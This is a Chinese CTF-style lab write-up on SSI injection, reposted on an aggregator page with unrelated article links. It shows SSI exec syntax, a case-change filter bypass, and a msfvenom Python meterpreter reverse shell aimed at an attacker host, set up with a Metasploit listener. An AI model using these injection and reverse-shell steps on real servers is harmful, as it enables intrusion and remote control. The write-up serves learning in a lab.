CTF之Web安全SSI注入

news2024/11/24 14:42:48

前言

如何从外部进入主机?

SSI注入攻击介绍

SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果,通过SSI来执行系统命令;并返回对应的结果。

如果再网站目录中发现了.stm;.shtm;.shtml;这样的文件后缀名,并且网站对于SSI的输入没有做到严格过滤或者过滤不充分;很有可能被SSI注入攻击。

SSI语法

显示服务器端环境变量 **< #**echo >

本文档名称:

<!–#echo var=“DOCUMENT_NAME”–>

现在时间:

<!–#echo var=“DATE_LOCAL”–>

显示IP地址:

<! #echo var=“REMOTE_ADDR”–>

将文本内容直接插入到文档中 < #include>

<! #include file=“文件名称”–>

<! #include virtual=“文件名称”–>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

显示WEB文档相关信息 **< #flastmod><#fsize>(**如文件制作日期/大小等 )

文件最近更新日期:

<! #flastmod file=“文件名称”–>

文件的长度:

<!–#fsize file=“文件名称”–>

直接执行服务器上的各种程序 **< #exec>(**如CGI或其他可执行程序 )

<!–#exec cmd=“文件名称”–>

<!–#exec cgi=“文件名称”–>

攻击机:kali 10.0.2.4

靶场机器:linux10.0.2.15

信息探测

扫描主机服务信息以及服务版本nmap -sV [ip]

可以看出靶场机器开放了80端口并且操作系统是ubuntu

快速扫描主机全部信息nmap -T4 -A -v [ip]

既然是开启的http服务,那么就应该是可以访问的,思路就是可以在浏览器直接访问查看有没有可以利用的信息,并且扫描结果显示robots协议中发现一个信息。有时候还会在源代码中藏有信息。

这个在默认界面没有发现信息,但是robots中发现了目录
/spukcab

挨个查看,看看有无敏感信息。可以下载下来,more查看内容,发现一个可能有用的信息,根据前几次的经验,这里可能是个用户名webmaster;只是可能。还有就是站点根目录的位置已经得到了。

其他的暂时没有,继续探测,因为是http服务,所以可以使用nikto或者dirb进行敏感目录扫描

深入挖掘

分析nmap、nikto扫描结果,并对结果进行分析,挖掘可利用的信息;

都进行浏览查看敏感信息,寻找可利用的位置;

挨个访问查看信息,http://10.0.2.15/index

上面扫描中有个SSI

还有这里,发现.shtml文件

猜想可能存在SSI注入,其实找了很多信息,就是为了找到这个能证明有SSI存在的标志。

继续找可以利用的信息,发现http://10.0.2.15/index.php

可以在这个表单提交处,这里执行SSI的命令

漏洞利用

根据提示来利用对应的SSI注入

将上面index页面中的payload复制一下,粘贴到表单中进行提交

像这样

提交后发现第一行过滤了尖括号,第二行的exec被过滤了。而且payload也不是完整的。

绕过这个exec的过滤条件,因为是linux系统,所以首先想到的应该是大小写。而且完整的payload应当在前面有!

像这样

比如:

列举当前目录中的文件和目录

就是可以执行一些终端命令

进一步利用,下载一个shell脚本并重命名为shell.php

制作webshell

之前使用的php制作的webshell,这次使用pythonmsfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py

启动监听,使用metasploit对4444端口进行监听msf5 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcppayload => python/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.0.2.4lhost => 10.0.2.4msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.4:4444

设置好后开始侦听4444端口

将shell.py移动到apache目录下,才可以使用IP地址的链接下载

然后需要开启apache服务service apache2 start

然后执行下载命令将shell下载到靶机的站点目录当中,

然后执行语句赋予shell执行权限再进行执行#加权限 #执行

然后看到浏览器在不断发送请求,到终端查看监听状况,发现返回了meterpreter

输入?可以查看当前可执行的命令Core Commands=Command Description------- -----------? Help menubackgroundBackgrounds the current sessionbgAlias for backgroundbgkillKills a background meterpreter scriptbglistLists running background scriptsbgrun Executes a meterpreter script as a background
threadchannel Displays information or control active channelsclose Closes a channeldisable_unicode_encodingDisables encoding of unicode stringsenable_unicode_encoding Enables encoding of unicode stringsexitTerminate the meterpreter sessionget_timeoutsGet the current session timeout valuesguidGet the session GUIDhelpHelp menuinfoDisplays information about a Post moduleirb Open an interactive Ruby shell on the current
sessionloadLoad one or more meterpreter extensionsmachine_idGet the MSF ID of the machine attached to the
sessionmigrate Migrate the server to another processpry Open the Pry debugger on the current sessionquitTerminate the meterpreter sessionreadReads data from a channelresourceRun the commands stored in a filerun Executes a meterpreter script or Post modulesecure(Re)Negotiate TLV packet encryption on the sessionsessionsQuickly switch to another sessionset_timeoutsSet the current session timeout valuessleep Force Meterpreter to go quiet, then re-establish
session.transport Change the current transport mechanismuse Deprecated alias for "load"uuidGet the UUID for the current sessionwrite Writes data to a channelStdapi: File system Commands
Command Description------- -----------cat Read the contents of a file to the screencdChange directorychecksumRetrieve the checksum of a filechmod Change the permissions of a filecpCopy source to destinationdir List files (alias for ls)downloadDownload a file or directoryeditEdit a filegetlwdPrint local working directorygetwd Print working directorylcd Change local working directorylls List local fileslpwdPrint local working directorylsList filesmkdir Make directorymvMove source to destinationpwd Print working directoryrmDelete the specified filermdir Remove directorysearchSearch for filesuploadUpload a file or directoryStdapi: Networking Commands=Command Description------- -----------ifconfigDisplay interfacesipconfigDisplay interfacesportfwd Forward a local port to a remote serviceresolve Resolve a set of host names on the targetStdapi: System Commands=Command Description------- -----------execute Execute a commandgetenvGet one or more environment variable valuesgetpidGet the current process identifiergetuidGet the user that the server is running askillTerminate a processlocaltime Displays the target system’s local date and timepgrep Filter processes by namepkill Terminate processes by namepsList running processesshell Drop into a system command shellsysinfo Gets information about the remote system, such as OSStdapi: Audio Output Commands=================Command Description------- -----------playplay a waveform audio file (.wav) on the target system输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户

终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。python -c ‘import pty;pty.spawn(“/bin/bash”)’

然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【点下方卡片】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/860555.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

五粮液快闪酒吧亮相大运会,在传承中彰显创新精神

摇风、糖塑、弄窑、趣闻、琉璃、沉香、绣彩、刻花......一座以“中国风&#xff0c;巴蜀韵”为主题的快闪酒吧&#xff0c;是五粮液献给中外来宾的“和美之礼”&#xff0c;一项项身临其境的传统文化体验让全球友人仿佛“梦回大唐盛世&#xff0c;再现繁华风尚”。 &#xff0…

harbor仓库安装部署(1.6.1)

目录 1、关闭防火墙 2、安装docker-ce&#xff08;所有主机&#xff09; 3、配置阿里云镜像加速器 4、部署Docker Compose 服务 5、部署 Harbor 服务 6、下载 Harbor 安装程序&#xff08;两台harbor主机&#xff09; 7、配置 Harbor 参数文件 8、启动并安装 Harbor …

【CSS3】CSS3 动画 ⑤ ( 动画速度曲线 | 设置动画步长 | 动画匀速执行 | 动画分 2 步执行 | 使用动画步长实现打字机效果 )

文章目录 一、动画速度曲线设置二、代码示例 - 动画速度曲线设置1、代码示例 - 动画匀速执行2、代码示例 - 动画分 2 步执行 三、代码示例 - 使用动画步长实现打字机效果 一、动画速度曲线设置 CSS3 样式中 , 设置 动画速度曲线 的属性是 animation-timing-function 属性 ; an…

Kubernetes集群yum安装部署

第四阶段 时 间&#xff1a;2023年8月10日 参加人&#xff1a;全班人员 内 容&#xff1a; Kubernetes集群yum安装部署 目录 yum方式部署K8S集群 一、环境搭建 1、准备环境 2、关闭防火墙 3、修改master主机的计算机名设置host文件 二、安装部署 &#xff08;一&…

OpenCV实验箱---机械臂自由抓取例程开发使用手册

目录 一、项目介绍 项目背景&#xff1a; 相机型号&#xff1a; 二、机械臂自由抓取演示 使用注意事项&#xff1a; 操作步骤&#xff1a; 三、核心代码讲解 ① 机械臂相关运动驱动代码 ② BGR图像转换伪彩色深度图像代码 ③ 目标跟随及抓取动作代码 开发者&#xff1a;…

CLIP论文精度

CLIP论文精度 Zero-shot CLIP多模态模型 Image Endecoder是一个图片编码器&#xff0c;既可以是ResNet,也可以是Vision Transformer. Text Encoder和Image Encoder产生的两组特征进行对比学习&#xff08;无监督训练&#xff09; 分类头&#xff1f;“分类头” 是指网络结…

第02天 什么是JWT ?

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 每天一个知识点 ✨特色专栏&#xff1…

MChat-Gpt V1.0.0 (将ChatGpt机器人接入内网供全体使用)

Github>https://github.com/MartinxMax/MChat-Gpt 首页 MChat-Gpt V1.0.0将ChatGpt机器人接入内网供全体使用 你需要一个ChatGpt账户如果您在中国则需要使用代理访问,设置TUN代理模式 安装依赖 选择你的系统进行安装 服务端配置 #python3 ChatGpt_Server.py -h 使用&a…

cve-2021-2394 weblogic反序列化漏洞分析

前几天weblogic 7月例行更新中&#xff0c;修复了一个Rce漏洞。该漏洞性质属于绕过之前的反序列化漏洞补丁。要了解这个漏洞的原因&#xff0c;我们首先要学习其他几个漏洞的原理。 一 weblogic 反序列化绕过指南 本章节只是大概讲解一下如何绕过weblogic反序列化漏洞的补丁。…

【金融量化】Python实现根据收益率计算累计收益率并可视化

1 理论 理财产品&#xff08;本金100元&#xff09; 第1天&#xff1a;3% &#xff1a;&#xff08;13%&#xff09; ✖ 100 103 第2天&#xff1a;2% &#xff1a;&#xff08;12%&#xff09;✖ 以上 103 2.06 第3天&#xff1a;5% : &#xff08;15%&#xff09;✖ 以上…

【指针模拟实现库函数strlen】

指针模拟实现库函数strlen 1.库函数strlen含义 strlen是用来计算字符串长度的。&#xff08;不包含’\0’) 2.assert断言介绍 assert.h 头⽂件定义了宏 assert() &#xff0c;⽤于在运⾏时确保程序符合指定条件&#xff0c;如果不符合&#xff0c;就报 错终⽌运⾏。这个宏常常…

【算法|数组】滑动窗口

算法|数组——滑动窗口 引入 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其和 ≥ target 的长度最小的 连续子数组 [numsl, numsl1, ..., numsr-1, numsr] &#xff0c;并返回其长度**。**如果不存在符合条件的子数组&#xff0c;返回 0 。 示例…

putty使用记录

在官网下载并安装putty 一、SSH 二、FTP open 192.168.1.118 put -r C:\Users\Administrator\Desktop\test /opt/lanren312/test # 上传&#xff08;文件夹&#xff09; get -r /opt/lanren312/test C:\Users\Administrator\Desktop\test2 # 下载&#xff08;文件夹&#xff…

Linux Sudo 史上最大bug

自从安全厂商于近期公开了Linux系统中存在Sudo漏洞后&#xff0c;红帽、SUSE、Debian及Ubuntu等相关发行版本便开始相继推出了针对Linux Sudo漏洞的更新补丁&#xff0c;来避免由于Sudo漏洞而将本地端系统的最高权限陷于风险之中。 Sudo是linux系统管理指令&#xff0c;是允许系…

Telerik UI for ASP.NET Core Crack

Telerik UI for ASP.NET Core Crack Telerik ASP.NET Core还包括MVC和Kendo UI捆绑包(用于JavaScript)、Figma的设计工具包以及文档处理库、用于ASP.NET Core的Telerik REPL、RTL支持、辅助功能和键盘导航、主题化、虚拟课堂培训、详细文档、演示、KBs和世界级支持。使用一整套…

树结构--介绍--二叉树遍历的递归实现

目录 树 树的学术名词 树的种类 二叉树的遍历 算法实现 遍历命名 二叉树的中序遍历 二叉树的后序遍历 二叉树的后序遍历迭代算法 二叉树的前序遍历 二叉树的前序遍历迭代算法 树 树是一种非线性的数据结构&#xff0c;它是由n(n≥0)个有限节点组成一个具有层次关系…

Java基础篇--基本数据类型

目录 前言&#xff1a; 内置数据类型 类型默认值 示例: 内置数据类型转换 自动类型转换&#xff08;隐式类型转换&#xff09;&#xff1a; 强制类型转换&#xff08;显式类型转换&#xff09;&#xff1a; 隐含强制类型转换&#xff1a; 引用类型 前言&#xff1a; …

Java基础练习八(二维数组)

1.装水问题 有一个 异形 容器&#xff0c;用一个 n * n 的二维数组来表示。其中 1 表示容器实心部分&#xff0c; 0 表示空心部分。现使用此容器装水&#xff0c;能装多少水&#xff08;每个元素都表示一份水&#xff0c;只有有挡板的部分能装水&#xff09;&#xff1f; publi…

【学习】若依源码(前后端分离版)之 “ 获取角色权限信息及动态路由”

大型纪录片&#xff1a;学习若依源码&#xff08;前后端分离版&#xff09;之 “ 获取角色权限信息及动态路由” 获取用户信息获取路由信息 承接上回&#xff0c;我们发现在login请求后面跟了两个请求&#xff0c;今天我们就来了解一下两个请求的含义。 获取用户信息 先看 ‘…

Vulhub之Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器&#xff0c;它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞&#xff0c;在解析PHP时&#xff0c;1.php\x0A将被按照PHP后缀进行解析&#xff0c;导致绕过一些服务器的安全策略。 1、docker-compose build、docker-compo…